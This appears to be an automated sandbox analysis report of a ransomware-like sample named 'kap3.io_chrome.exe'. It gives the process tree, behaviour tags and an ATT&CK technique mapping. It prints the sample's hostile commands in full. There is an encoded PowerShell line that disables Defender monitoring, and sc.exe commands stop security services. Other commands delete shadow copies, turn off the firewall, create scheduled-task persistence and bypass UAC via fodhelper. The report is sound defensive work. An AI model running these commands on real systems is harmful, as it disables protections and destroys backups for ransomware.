PID 3052 wrote to memory of 3428	3052	kap3.io_chrome.exe	143
PID 3052 wrote to memory of 5712	3052	kap3.io_chrome.exe	144
PID 3052 wrote to memory of 5932	3052	kap3.io_chrome.exe	145
PID 3052 wrote to memory of 3936	3052	kap3.io_chrome.exe	146
PID 3052 wrote to memory of 4936	3052	kap3.io_chrome.exe	147
PID 3052 wrote to memory of 4808	3052	kap3.io_chrome.exe	148
PID 3052 wrote to memory of 5520	3052	kap3.io_chrome.exe	156
PID 3052 wrote to memory of 5180	3052	kap3.io_chrome.exe	157
PID 4936 wrote to memory of 3588	4936	cmd.exe	158
PID 5932 wrote to memory of 1768	5932	cmd.exe	159
PID 3428 wrote to memory of 4592	3428	cmd.exe	160
PID 5712 wrote to memory of 6124	5712	cmd.exe	161
PID 3364 wrote to memory of 3048	3364	cmd.exe	162
PID 3936 wrote to memory of 2772	3936	cmd.exe	163
PID 3208 wrote to memory of 4292	3208	cmd.exe	164
PID 1768 wrote to memory of 4372	1768	net.exe	165
PID 3052 wrote to memory of 2044	3052	kap3.io_chrome.exe	166
PID 3052 wrote to memory of 4988	3052	kap3.io_chrome.exe	167
PID 3052 wrote to memory of 2684	3052	kap3.io_chrome.exe	168
PID 3052 wrote to memory of 5676	3052	kap3.io_chrome.exe	169
PID 3052 wrote to memory of 5804	3052	kap3.io_chrome.exe	194
PID 3052 wrote to memory of 5568	3052	kap3.io_chrome.exe	171
PID 2684 wrote to memory of 1472	2684	net.exe	178
PID 3208 wrote to memory of 5648	3208	cmd.exe	179
PID 1552 wrote to memory of 3700	1552	chrome.exe	181
PID 1552 wrote to memory of 4740	1552	chrome.exe	182
PID 1552 wrote to memory of 4740	1552	chrome.exe	182
PID 1552 wrote to memory of 3888	1552	chrome.exe	183
PID 1552 wrote to memory of 3888	1552	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://kap3.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffacc22c728,0x7ffacc22c734,0x7ffacc22c740
    3⤵
    PID:4112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,16954921638170301631,1055016466561115206,262144 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:2300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2156,i,15177763534090970418,8643557857616130512,524288 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=2160 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2288,i,5894824305300455108,9655280575457599084,524288 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:13
    3⤵
    PID:3348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3120,i,12111319816669816530,2374699731861901320,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:1
    3⤵
    PID:4656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3128,i,6816510339882555438,3010810644177636189,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=3280 /prefetch:1
    3⤵
    PID:2260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4632,i,14927217988720082949,6697651195950567178,524288 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:14
    3⤵
    PID:4524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4852,i,6005167738060595319,18353695038685459238,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:1
    3⤵
    PID:2120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5384,i,234271931222372293,13763163189390876571,524288 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:14
    3⤵
    PID:3700
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5444,i,17888896078023199655,12858768085790285075,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:1
    3⤵
    PID:4740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5476,i,917045921654058177,17654743308312593225,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
    3⤵
    PID:3888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5796,i,13787685092921477656,7098702752328186935,524288 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:14
    3⤵
    PID:4336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5664,i,10638758120844091875,8932140869822341266,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:1
    3⤵
    PID:4536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5848,i,2126349873759441729,2641201962354224269,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:1
    3⤵
    PID:3632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5672,i,2693695797796698048,17568750132036206369,524288 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:14
    3⤵
    PID:4216
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=4932,i,16492056815985157646,6173258969537755988,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:1
    3⤵
    PID:3180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5748,i,8161007068829196789,10775050025503972884,524288 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:14
    3⤵
    PID:2284
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5752,i,7575483967818216826,10871959162804270173,524288 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:14
    3⤵
    PID:3420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5652,i,10601560331881385909,13089136338670921029,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:1
    3⤵
    PID:3460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5524,i,18297934650402039270,14127331042534004822,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:1
    3⤵
    PID:5804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6208,i,4751876903039218309,16959538229110931752,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=6012 /prefetch:1
    3⤵
    PID:5276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5504,i,4392012709680852597,8792670935062710629,524288 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:14
    3⤵
    PID:3212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4896,i,7794042559013188916,14489202725979365601,524288 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:14
    3⤵
    PID:388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6128,i,7201016843902881410,18349266512496166196,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:9
    3⤵
    PID:2508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=4872,i,5721281248660413296,7683738100804694976,2097152 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:1
    3⤵
    PID:1344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3460,i,10613030708068435455,3759769638915294493,262144 --field-trial-handle=1904,i,16665614757769949198,4599939870728460121,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:10
    3⤵
    PID:332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3716
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4868
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:244
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1992
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5932
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2328
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1076
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe"
    3⤵
    PID:4460
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3936
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3888
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4584
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1472
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:860
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4764
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4292
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5648
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3364
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3428
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5712
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4868
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:6124
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5932
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1884
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1768
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:4372
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3936
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3588
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4808
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5520
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5180
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2044
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4988
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:1472
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5676
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4584
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5804
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5568

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:932

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3960

C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
1⤵
PID:5568

C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
1⤵
PID:3436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4160

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery